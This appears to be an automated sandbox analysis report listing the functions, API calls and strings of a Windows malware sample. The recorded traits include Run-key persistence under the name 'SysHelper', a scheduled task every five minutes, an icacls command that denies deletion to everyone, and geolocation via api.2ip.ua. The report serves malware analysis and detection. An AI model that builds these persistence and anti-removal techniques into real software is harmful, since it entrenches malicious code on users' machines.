Part of subcall function 0040CF10: InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
Part of subcall function 0040CF10: InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6

GetCurrentProcess.KERNEL32 ref: 00419FC4
GetLastError.KERNEL32 ref: 00419FD2
SetPriorityClass.KERNEL32(00000000,00000080), ref: 00419FDA
GetLastError.KERNEL32 ref: 00419FE4
GetModuleFileNameW.KERNEL32(00000000,?,00000400,00000400,?,?,00000000,0067B058,?), ref: 0041A0BB
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0041A0C2
GetCommandLineW.KERNEL32(?,?), ref: 0041A161

Part of subcall function 004124E0: CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
Part of subcall function 004124E0: GetLastError.KERNEL32 ref: 00412509
Part of subcall function 004124E0: CloseHandle.KERNEL32 ref: 0041251C

Strings

D:\Program Files\Google\, xrefs: 0041B0EE
C:\Program Files (x86)\Internet Explorer\, xrefs: 0041AEA1
runas, xrefs: 0041A6CE
C:\Program Files\Internet Explorer\, xrefs: 0041AF73
C:\Program Files (x86)\Google\, xrefs: 0041AEE7
D:\Program Files\Mozilla Firefox\, xrefs: 0041B0A8
IsTask, xrefs: 0041A1EE, 0041A299
%username%, xrefs: 0041B283
C:\Program Files\Mozilla Firefox\, xrefs: 0041AF2D
IsAutoStart, xrefs: 0041A1D0, 0041A273
--Task, xrefs: 0041A2CD
7P, xrefs: 0041B164
D:\Program Files\Internet Explorer\, xrefs: 0041B0CB
list<T> too long, xrefs: 0041B669, 0041B673
IsNotAutoStart, xrefs: 0041A645
I:\5d2860c89d774.jpg, xrefs: 0041B32F
--ForNetRes, xrefs: 0041A22E
--Admin, xrefs: 0041A1B4, 0041A632
D:\Program Files (x86)\Internet Explorer\, xrefs: 0041B062
C:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041AE5B
C:\Windows\, xrefs: 0041AE0F
D:\Program Files (x86)\Google\, xrefs: 0041B085
C:\Program Files\Google\, xrefs: 0041AFB9
x2Q, xrefs: 0041A856
D:\Program Files (x86)\Mozilla Firefox\, xrefs: 0041B02E
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 0041A8A0
X1P, xrefs: 0041A485
F:\, xrefs: 0041B397
<, xrefs: 0041A67B
D:\Windows\, xrefs: 0041AFF3
--Service, xrefs: 0041A30B
{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 0041A8B6
--AutoStart, xrefs: 0041A2EC
IsNotTask, xrefs: 0041A654
x*P, xrefs: 0041ACE4

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: ErrorLast$FileInternetOpen$ClassCloseCommandCreateCurrentHandleLineModuleMutexNamePathPriorityProcessRemoveSpec_memset
String ID: IsNotAutoStart$ IsNotTask$%username%$--Admin$--AutoStart$--ForNetRes$--Service$--Task$<$C:\Program Files (x86)\Google\$C:\Program Files (x86)\Internet Explorer\$C:\Program Files (x86)\Mozilla Firefox\$C:\Program Files\Google\$C:\Program Files\Internet Explorer\$C:\Program Files\Mozilla Firefox\$C:\Windows\$D:\Program Files (x86)\Google\$D:\Program Files (x86)\Internet Explorer\$D:\Program Files (x86)\Mozilla Firefox\$D:\Program Files\Google\$D:\Program Files\Internet Explorer\$D:\Program Files\Mozilla Firefox\$D:\Windows\$F:\$I:\5d2860c89d774.jpg$IsAutoStart$IsTask$X1P$list<T> too long$runas$x*P$x2Q${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}$7P
API String ID: 2957410896-3144399390
Opcode ID: 5654f1f0d8902897548b635c0c3de12d41863b9e7f9f148f59327b5af1546f90
Instruction ID: ef0c4ad91a93ebed44a25fa424fadbe3f4bc75453965ff7ad5f6b92dd0de7051
Opcode Fuzzy Hash: 5654f1f0d8902897548b635c0c3de12d41863b9e7f9f148f59327b5af1546f90
Instruction Fuzzy Hash: 99D2F670604341ABD710EF21D895BDF77E5BF94308F00492EF48587291EB78AA99CB9B

Function 0040D240 Relevance: 58.5, APIs: 25, Strings: 8, Instructions: 702
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32(00000000), ref: 0040D26C
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 0040D28F
CoCreateInstance.OLE32(004D506C,00000000,00000001,004D4FEC,?,?,00000000,000000FF), ref: 0040D2D5
VariantInit.OLEAUT32(?), ref: 0040D2F0
VariantInit.OLEAUT32(?), ref: 0040D309
VariantInit.OLEAUT32(?), ref: 0040D322
VariantInit.OLEAUT32(?), ref: 0040D33B
VariantClear.OLEAUT32(?), ref: 0040D397
VariantClear.OLEAUT32(?), ref: 0040D3A4
VariantClear.OLEAUT32(?), ref: 0040D3B1
VariantClear.OLEAUT32(?), ref: 0040D3C2
CoUninitialize.OLE32 ref: 0040D3D5

Strings

PT5M, xrefs: 0040D5A1, 0040D66C
--Task, xrefs: 0040D8DD
RegisterTaskDefinition. Err: %X, xrefs: 0040DA11
2030-05-02T08:00:00, xrefs: 0040D737
Time Trigger Task, xrefs: 0040D43C, 0040D973
Trigger1, xrefs: 0040D6FA
Author Name, xrefs: 0040D4C8
%Y-%m-%dT%H:%M:%S, xrefs: 0040D790

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Variant$ClearInit$Initialize$CreateInstanceSecurityUninitialize
String ID: %Y-%m-%dT%H:%M:%S$--Task$2030-05-02T08:00:00$Author Name$PT5M$RegisterTaskDefinition. Err: %X$Time Trigger Task$Trigger1
API String ID: 2496729271-1738591096
Opcode ID: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction ID: 4ad9c2e8017b41c765d67f99bb49247a0c13fc41f24acee5688789d455a97b09
Opcode Fuzzy Hash: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction Fuzzy Hash: 05526F70E00219DFDB10DFA8C858FAEBBB4EF49304F1481A9E505BB291DB74AD49CB95

Function 00412220 Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 116
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32 ref: 00412235
CommandLineToArgvW.SHELL32(00000000,?), ref: 00412240
PathFindFileNameW.SHLWAPI(00000000), ref: 00412248
LoadLibraryW.KERNEL32(kernel32.dll), ref: 00412256
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041226A
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00412275
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 00412280
LoadLibraryW.KERNEL32(Psapi.dll), ref: 00412291
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041229F
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 004122AA
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 004122B5
K32EnumProcesses.KERNEL32(?,0000A000,?), ref: 004122CD
OpenProcess.KERNEL32(00000410,00000000,?), ref: 004122FE
K32EnumProcessModules.KERNEL32(00000000,?,00000004,?), ref: 00412315
K32GetModuleBaseNameW.KERNEL32(00000000,?,?,00000400), ref: 0041232C
CloseHandle.KERNEL32(00000000), ref: 00412347

Strings

Psapi.dll, xrefs: 0041228C
GetModuleBaseNameW, xrefs: 00412277, 004122AC
kernel32.dll, xrefs: 0041224E
EnumProcesses, xrefs: 00412264, 00412299
EnumProcessModules, xrefs: 0041226C, 004122A1

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: AddressProc$CommandEnumLibraryLineLoadNameProcess$ArgvBaseCloseFileFindHandleModuleModulesOpenPathProcesses
String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Psapi.dll$kernel32.dll
API String ID: 3668891214-3807497772
Opcode ID: 2e762e749b316a475bae0755eecf3fc9a9c12245de4757d4cc138c5fb7e97d1c
Instruction ID: 197cd9f83d52dd112842658ec983a676e251e24b3cd7e802a51fbc3a937a58d5
Opcode Fuzzy Hash: 2e762e749b316a475bae0755eecf3fc9a9c12245de4757d4cc138c5fb7e97d1c
Instruction Fuzzy Hash: A3315371E0021DAFDB11AFE5DC45EEEBBB8FF45704F04406AF904E2190DA749A418FA5

Function 0040CF10 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 228
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0040CF4A
InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6
InternetReadFile.WININET(00000000,?,00002800,?), ref: 0040CFCD
InternetCloseHandle.WININET(00000000), ref: 0040CFDA
InternetCloseHandle.WININET(00000000), ref: 0040CFDD

Strings

https://api.2ip.ua/geo.json, xrefs: 0040CF79
"country_code":", xrefs: 0040CFE1
Microsoft Internet Explorer, xrefs: 0040CF5A

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$FileRead_memset
String ID: "country_code":"$Microsoft Internet Explorer$https://api.2ip.ua/geo.json
API String ID: 1485416377-2962370585
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: 63dc5d72282b855868e1768d03255ed744c0e271f8772f8e66d922d9032ce3a5
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: 0F91B470D00218EBDF10DF90DD55BEEBBB4AF05308F14416AE4057B2C1DBBA5A89CB59

Function 00411CD0 Relevance: 79.1, APIs: 36, Strings: 9, Instructions: 382
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
_memset.LIBCMT ref: 00411D3B
RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48
LoadLibraryW.KERNEL32(Shell32.dll,?,?), ref: 00411E99
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 00411EA5
GetCommandLineW.KERNEL32 ref: 00411EB4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 00411EBF
lstrcpyW.KERNEL32(?,00000000), ref: 00411ECE
PathFindFileNameW.SHLWAPI(?), ref: 00411EDB
UuidCreate.RPCRT4(?), ref: 00411EFC
UuidToStringW.RPCRT4(?,?), ref: 00411F14
RpcStringFreeW.RPCRT4(00000000), ref: 00411F64
PathAppendW.SHLWAPI(?,?), ref: 00411F83
CreateDirectoryW.KERNEL32(?,00000000), ref: 00411F8E
PathAppendW.SHLWAPI(?,?,?,?), ref: 0041202D
DeleteFileW.KERNEL32(?), ref: 00412036
CopyFileW.KERNEL32(?,?,00000000), ref: 0041204C
RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 0041206E
_memset.LIBCMT ref: 00412090
lstrcpyW.KERNEL32(?,005002FC), ref: 004120AA
lstrcatW.KERNEL32(?,?), ref: 004120C0
lstrcatW.KERNEL32(?," --AutoStart), ref: 004120CE
lstrlenW.KERNEL32(?), ref: 004120D7
RegSetValueExW.KERNEL32(00000000,SysHelper,00000000,00000002,?,00000000), ref: 004120F3
RegCloseKey.ADVAPI32(00000000), ref: 004120FC
_memset.LIBCMT ref: 00412120
SetLastError.KERNEL32(00000000), ref: 00412146
lstrcpyW.KERNEL32(?,icacls "), ref: 00412158
lstrcatW.KERNEL32(?,?), ref: 0041216D

Strings

SHGetFolderPathW, xrefs: 00411E9F
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00411D06, 00412064
Shell32.dll, xrefs: 00411E94
" --AutoStart, xrefs: 004120C2
D, xrefs: 00412128
icacls ", xrefs: 0041214C
SysHelper, xrefs: 00411D5B, 004120EB
" --AutoStart, xrefs: 00411DD1
" /deny *S-1-1-0:(OI)(CI)(DE,DC), xrefs: 0041216F

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: FilePath$_memsetlstrcatlstrcpy$AppendCloseCommandCreateLineOpenStringUuidValuelstrlen$AddressArgvCopyDeleteDirectoryErrorExistsFindFreeLastLibraryLoadNameProcQuery
String ID: " --AutoStart$" --AutoStart$" /deny *S-1-1-0:(OI)(CI)(DE,DC)$D$SHGetFolderPathW$Shell32.dll$Software\Microsoft\Windows\CurrentVersion\Run$SysHelper$icacls "
API String ID: 2589766509-1182136429
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: 715e32bd1e023583792331b7dbf49be96a7b9f80df69a50876529e1503cb0a0b
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: 51E14171D00219EBDF24DBA0DD89FEE77B8BF04304F14416AE609E6191EB786A85CF58

Function 00423576 Relevance: 15.3, APIs: 10, Instructions: 258
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 004235B1

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

__gmtime64_s.LIBCMT ref: 0042364A
__gmtime64_s.LIBCMT ref: 00423680
__gmtime64_s.LIBCMT ref: 0042369D
__allrem.LIBCMT ref: 004236F3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0042370F
__allrem.LIBCMT ref: 00423726
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423744
__allrem.LIBCMT ref: 0042375B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423779

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit_memset
String ID:
API String ID: 1503770280-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: ab95fd8d4aa8d0004faaa41ec126efad4d06c0b8c45c9850b5361983c80b405c
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 6E7108B1B00726BBD7149E6ADC41B5AB3B8AF40729F54823FF514D6381E77CEA408798

Function 004240F6 Relevance: 7.5, APIs: 5, Instructions: 46
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__wsetenvp.LIBCMT ref: 0042404A
__amsg_exit.LIBCMT ref: 00424055
__cinit.LIBCMT ref: 0042405D
__amsg_exit.LIBCMT ref: 00424068
__wwincmdln.LIBCMT ref: 0042406E

Part of subcall function 00427CEC: _doexit.LIBCMT ref: 00427CF6

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: __amsg_exit$__cinit__wsetenvp__wwincmdln_doexit
String ID:
API String ID: 2587630013-0
Opcode ID: 09217920513a334b6f79b9e541313f96d920471f94f8c93875b1f7a29f43a62f
Instruction ID: 7082b750ddc29103f3c984cb6fc30cb2f1280ee8f42cb5262a6b676f22e3f134
Opcode Fuzzy Hash: 09217920513a334b6f79b9e541313f96d920471f94f8c93875b1f7a29f43a62f
Instruction Fuzzy Hash: F6F0F460709331A9DA3173B37A12B5F1654DF81768FE0054FF600A61C3DE9C8981856E

Function 00423B4C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 00423B64

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00670000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

std::exception::exception.LIBCMT ref: 00423B82
__CxxThrowException@8.LIBCMT ref: 00423B97

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

Strings

bad allocation, xrefs: 00423B77

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrow_mallocstd::exception::exception
String ID: bad allocation
API String ID: 3074076210-2104205924
Opcode ID: cec20dc94eea93260f8f1a03c5a4f6d1a6107b38a2b917b0c89c9f691c6c4a85
Instruction ID: 445f5c97f97310cbd08f0009147839d9c604c92f3643d32107fe893a2d7397f3
Opcode Fuzzy Hash: cec20dc94eea93260f8f1a03c5a4f6d1a6107b38a2b917b0c89c9f691c6c4a85
Instruction Fuzzy Hash: 74F0F97560022D66CB00AF99EC56EDE7BECDF04315F40456FFC04A2282DBBCAA4486DD

Function 00427B0B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 7
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 00427B11

Part of subcall function 00427AD7: GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,?,?,i;B,00427B16,i;B,?,00428BCA,000000FF,0000001E,00507BD0,00000008,00428B0E,i;B,i;B), ref: 00427AE6
Part of subcall function 00427AD7: GetProcAddress.KERNEL32(?,CorExitProcess), ref: 00427AF8

ExitProcess.KERNEL32 ref: 00427B1A

Strings

i;B, xrefs: 00427B0E

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID: i;B
API String ID: 2427264223-472376889
Opcode ID: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction ID: 59367741208a4d0b8125be5957acfda0e57e61d39344a7bf1a3f5abf2379cf84
Opcode Fuzzy Hash: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction Fuzzy Hash: 0DB09230404108BBCB052F52EC0A85D3F29EB003A0B408026F90848031EBB2AA919AC8

Function 0040EF50 Relevance: 4.6, APIs: 3, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 0040EF69

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00670000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_malloc.LIBCMT ref: 0040EF85
_memset.LIBCMT ref: 0040EF9B

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: _malloc$AllocateHeap_memset
String ID:
API String ID: 3655941445-0
Opcode ID: be46dd26feb53539181879275dd2331845889927b108b084fdb43cd894a3e3ad
Instruction ID: 5fa84ec4042e21db229fa26042ce02b7cce951e2f5e2b33d0654eda62efe4b83
Opcode Fuzzy Hash: be46dd26feb53539181879275dd2331845889927b108b084fdb43cd894a3e3ad
Instruction Fuzzy Hash: 06110631600624EFCB10DF99D881A5ABBB5FF89314F2445A9E9489F396D731B912CBC1

Function 00413A90 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 00413B0A

Part of subcall function 00423B4C: _malloc.LIBCMT ref: 00423B64

Strings

vector<T> too long, xrefs: 00413B00

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc
String ID: vector<T> too long
API String ID: 657562460-3788999226
Opcode ID: f5f01b68dbda021ca42eecc7f725211f068217be071155698f767f535e80c005
Instruction ID: 58ba692ce99c870a1dcba0d104e91e6c126768a8e2c2fae69a1ad948a11fc536
Opcode Fuzzy Hash: f5f01b68dbda021ca42eecc7f725211f068217be071155698f767f535e80c005
Instruction Fuzzy Hash: F401F171200705ABD720CFACC09068BFBE8AF80725F20853FEA5583381EBB5E944C784

Function 0042FB64 Relevance: 3.0, APIs: 2, Instructions: 17
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__lock.LIBCMT ref: 0042FB7B

Part of subcall function 00428AF7: __mtinitlocknum.LIBCMT ref: 00428B09
Part of subcall function 00428AF7: __amsg_exit.LIBCMT ref: 00428B15
Part of subcall function 00428AF7: EnterCriticalSection.KERNEL32(i;B,?,004250D7,0000000D), ref: 00428B22

__tzset_nolock.LIBCMT ref: 0042FB8E

Part of subcall function 0042FE47: __lock.LIBCMT ref: 0042FE6C
Part of subcall function 0042FE47: ____lc_codepage_func.LIBCMT ref: 0042FEB3
Part of subcall function 0042FE47: __getenv_helper_nolock.LIBCMT ref: 0042FED4
Part of subcall function 0042FE47: _free.LIBCMT ref: 0042FF07
Part of subcall function 0042FE47: _strlen.LIBCMT ref: 0042FF0E
Part of subcall function 0042FE47: __malloc_crt.LIBCMT ref: 0042FF15

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: __lock$CriticalEnterSection____lc_codepage_func__amsg_exit__getenv_helper_nolock__malloc_crt__mtinitlocknum__tzset_nolock_free_strlen
String ID:
API String ID: 1282695788-0
Opcode ID: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction ID: e2ddc43a93f61bf79f0790849a809cb79cc8f4f227a559e0d4967367be19fad2
Opcode Fuzzy Hash: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction Fuzzy Hash: 69E0BF35E41664DAD620A7A2F91B75C7570AB14329FD0D16F9110111D28EBC15C8DA2E

Function 00427F3D Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_doexit.LIBCMT ref: 00427F47

Part of subcall function 00427E0E: __lock.LIBCMT ref: 00427E1C
Part of subcall function 00427E0E: DecodePointer.KERNEL32(00507B08,0000001C,00427CFB,00423B69,00000001,00000000,i;B,00427C49,000000FF,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E5B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E6C
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E85
Part of subcall function 00427E0E: DecodePointer.KERNEL32(-00000004,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E95
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E9B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427EB1
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427EBC

Memory Dump Source

Source File: 00000001.00000002.1673976031.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1673976031.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1673976031.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_n41dQbiw1Y.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$Encode$__lock_doexit
String ID:
API String ID: 2158581194-0
Opcode ID: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction ID: a7e7560d2adc556c6fb323ffd13f600db444db9a7111c1ec19eeb8b3048b151f
Opcode Fuzzy Hash: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction Fuzzy Hash: ABB01271A8430C33DA113642FC03F053B0C4740B54F610071FA0C2C5E1A593B96040DD

Function 00412900 Relevance: 1.3, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
